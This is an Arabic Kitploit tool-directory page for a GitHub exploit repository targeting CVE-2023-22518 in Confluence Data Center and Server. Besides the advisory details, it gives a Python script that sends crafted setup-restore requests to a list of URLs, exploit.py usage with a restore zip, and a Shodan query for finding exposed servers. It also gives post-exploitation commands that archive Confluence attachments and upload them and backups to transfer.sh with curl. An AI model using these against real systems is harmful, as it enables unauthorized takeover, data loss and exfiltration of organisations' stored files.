Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-22518 — ثغرة التفويض غير المناسب في مركز بيانات Confluence والخادم + bugsBonus 🔥 | Kitploit
أدوات/GitHubGitHub/bibo318/cve-2023-22518
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالاختبار الاختراق
GitHubbibo318/cve-2023-22518

CVE-2023-22518

ثغرة التفويض غير المناسب في مركز بيانات Confluence والخادم + bugsBonus 🔥

عرض المستودع
1منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-22518

ثغرة التفويض غير الصحيح في Confluence Data Center و Server.

حذرت Atlassian المسؤولين من ثغرة خطيرة في Confluence. قد يؤدي استغلال هذه الثغرة إلى فقدان البيانات، لذا توصي الشركة المطورة بتثبيت التصحيح فورًا.

يُشار إلى أنه لا يمكن استخدام الثغرة لتسريب البيانات ولا تؤثر على مواقع Atlassian Cloud التي يتم الوصول إليها عبر نطاق atlassian.net.

معلومات تفصيلية عن الثغرة

صفحة Jira الخاصة بـ Atlassian

المنتجالإصدارات المتأثرةالإصدارات المصححة
Confluence Data Centerجميع الإصدارات متأثرة7.19.16 وما فوق
Confluence Server8.3.4 وما فوق
8.4.4 وما فوق
8.5.3 وما فوق
8.6.1 وما فوق

الاستغلال

النوع: تفويض غير صحيح

CWE: CWE-285 / CWE-266

ATT&CK: T1548.002

نواقل الهجوم المعروفة 🔥

/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action المنتدى

مثال بسيط لفحص الثغرة باستخدام Python

root@kitploit:~
import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
        }

        rand_str = random_string()
        data = (
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
            "true\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
            f"{rand_str}\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
            "Upload and import\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
        )

        try:
            response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)

            if (response.status_code == 200 and
                'The zip file did not contain an entry' in response.text and 
                'exportDescriptor.properties' in response.text):
                print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
            else:
                print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url}. Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="Post setup restore script")
    parser.add_argument('--url', help='The URL to target', required=False)
    parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or --file argument.")

if __name__ == "__main__":
    main()

استخدام سيناريو الاستغلال 🔥

exploit.py

root@kitploit:~
pip install pycryptodome
python3 exploit.py
أدخل URL: http://domain/json/setup-restore.action?synchronous=true
أدخل المسار إلى ملف .zip: /path/xmlexport-20231109-060519-1.zip

BugsBonus 🔥

بحث Shodan:

root@kitploit:~
http.favicon.hash:-305179312

exploit-restore.zip

تطبيق Confluence Backdoor Shell

عند استعادة Confluence باستخدام هذه الثغرة، لا يزال دليل %CONFLUENCE_HOME%/attachments مليئًا بالملفات، قد يصل عددها إلى آلاف. استخراجها بسيط جدًا، ويمكن تحديد امتداداتها باستخدام أمر file في Linux. مثال:

root@kitploit:~
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced

أو

file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced

مثال عن كيفية أرشفة دليل بسهولة وفك الأرشفة:

root@kitploit:~
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz

أو

curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip

مقال حول باب خلفي جديد يستمر حتى بعد إصلاح الثغرة الخطيرة في Confluence

معلومات مفيدة أخرى

تنزيل الأداة